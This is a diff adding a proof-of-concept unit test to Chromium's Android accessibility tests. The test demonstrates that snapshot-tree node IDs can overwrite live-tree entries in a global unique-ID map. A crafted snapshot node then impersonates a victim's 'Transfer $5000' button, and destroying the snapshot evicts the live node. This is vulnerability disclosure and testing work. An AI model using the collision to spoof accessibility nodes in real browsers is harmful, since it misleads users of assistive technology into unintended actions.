diff --git a/content/browser/accessibility/browser_accessibility_android_unittest.cc b/content/browser/accessibility/browser_accessibility_android_unittest.cc index 0000000..0000000 100644 --- a/content/browser/accessibility/browser_accessibility_android_unittest.cc +++ b/content/browser/accessibility/browser_accessibility_android_unittest.cc @@ -21,6 +21,8 @@ #include "ui/accessibility/platform/test_ax_node_id_delegate.h" #include "ui/accessibility/platform/test_ax_platform_tree_manager_delegate.h" #include "ui/strings/grit/auto_image_annotation_strings.h" +#include "ui/accessibility/platform/ax_node_id_delegate.h" +#include "ui/accessibility/platform/ax_unique_id.h" namespace content { @@ -105,6 +107,121 @@ void BrowserAccessibilityAndroidTest::SetUp() { SetContentClient(&client_); } +// --------------------------------------------------------------------------- +// POC: Snapshot-tree AXNodeIDs collide with live-tree AXUniqueIds in the +// process-global GetUniqueIdMap(), letting GetFromUniqueId() return a node +// from a different tree/origin. +// --------------------------------------------------------------------------- +namespace { + +// Mimics RenderFrameHostImpl::GetOrCreateAXNodeUniqueId — the LIVE-tree +// delegate. Allocates from the process-global AXUniqueId counter and tracks +// values in GetAssignedIds(). +class LiveTreeNodeIdDelegate : public ui::AXNodeIdDelegate { + public: + ui::AXPlatformNodeId GetOrCreateAXNodeUniqueId( + ui::AXNodeID ax_node_id) override { + auto [it, inserted] = + ids_.try_emplace(ax_node_id, ui::AXUniqueId::CreateInvalid()); + if (inserted) { + it->second = ui::AXUniqueId::Create(); + } + return it->second; + } + void OnAXNodeDeleted(ui::AXNodeID ax_node_id) override { + ids_.erase(ax_node_id); + } + + private: + std::map ids_; +}; + +} // namespace + +TEST_F(BrowserAccessibilityAndroidTest, + SnapshotIdsCollideWithLiveTreeInGlobalUniqueIdMap) { + // 1. VICTIM: build a "live" tree whose nodes get IDs from the process-global + // AXUniqueId counter (exactly what RenderFrameHostImpl does). + LiveTreeNodeIdDelegate live_delegate; + + ui::AXNodeData victim_btn; + victim_btn.id = 9001; // Blink-side id; irrelevant to the platform id. + victim_btn.role = ax::mojom::Role::kButton; + victim_btn.SetName("Transfer $5000"); + + ui::AXNodeData victim_root; + victim_root.id = 9000; + victim_root.role = ax::mojom::Role::kRootWebArea; + victim_root.child_ids = {victim_btn.id}; + + std::unique_ptr live_mgr( + BrowserAccessibilityManagerAndroid::Create( + MakeAXTreeUpdateForTesting(victim_root, victim_btn), live_delegate, + test_browser_accessibility_delegate_.get())); + + auto* live_btn = static_cast( + live_mgr->GetFromID(victim_btn.id)); + ASSERT_NE(live_btn, nullptr); + const int32_t victim_uid = live_btn->GetUniqueId(); + ASSERT_GT(victim_uid, 0); + + // Sanity: the global map currently resolves victim_uid -> live_btn. + ASSERT_EQ(BrowserAccessibilityAndroid::GetFromUniqueId(victim_uid), live_btn); + + // 2. ATTACKER: build a "snapshot" tree (Paint Preview / InitWithAXTree path) + // whose node_id_delegate returns the *raw Blink AXNodeID* — this is + // exactly what WebContentsAccessibilityAndroid::GetOrCreateAXNodeUniqueId + // does (and what TestAXNodeIdDelegate does). The attacker chooses Blink + // node IDs equal to the victim's AXUniqueId values. + ui::TestAXNodeIdDelegate snapshot_delegate; // returns raw ax_node_id. + + ui::AXNodeData atk_btn; + atk_btn.id = victim_uid; // <-- collision: raw id == victim's AXUniqueId. + atk_btn.role = ax::mojom::Role::kButton; + atk_btn.SetName("Tap to confirm — secure bank login"); + + ui::AXNodeData atk_root; + // Pick a root id that won't collide with anything we care about here. + atk_root.id = victim_uid + 100000; + atk_root.role = ax::mojom::Role::kRootWebArea; + atk_root.child_ids = {atk_btn.id}; + + std::unique_ptr snap_mgr( + BrowserAccessibilityManagerAndroid::Create( + MakeAXTreeUpdateForTesting(atk_root, atk_btn), snapshot_delegate, + /*delegate=*/nullptr)); + + auto* snap_btn = static_cast( + snap_mgr->GetFromID(atk_btn.id)); + ASSERT_NE(snap_btn, nullptr); + ASSERT_NE(snap_btn, live_btn); // distinct objects, distinct trees. + + // 3. SPOOF: the process-global GetUniqueIdMap() entry for victim_uid was + // silently overwritten by the snapshot constructor (operator[]). + // GetFromUniqueId — the lookup used by every JNI entry point in + // WebContentsAccessibilityAndroid — now returns the ATTACKER node when + // queried with the VICTIM's id. + BrowserAccessibilityAndroid* resolved = + BrowserAccessibilityAndroid::GetFromUniqueId(victim_uid); + EXPECT_EQ(resolved, snap_btn) + << "BUG: victim_uid resolves to attacker snapshot node"; + EXPECT_NE(resolved, live_btn); + EXPECT_NE(resolved->manager(), live_mgr.get()); + EXPECT_EQ(resolved->GetTextContentUTF16(), + u"Tap to confirm — secure bank login"); + + // 4. DoS: destroying the snapshot tree erases the map slot BY KEY, evicting + // the (still-alive) victim node. The victim becomes unreachable from JNI. + snap_mgr.reset(); + EXPECT_EQ(BrowserAccessibilityAndroid::GetFromUniqueId(victim_uid), nullptr) + << "BUG: snapshot dtor evicted live victim node from global map"; + + live_mgr.reset(); +} + TEST_F(BrowserAccessibilityAndroidTest, TestRetargetTextOnly) { ui::AXNodeData text1; text1.id = 111;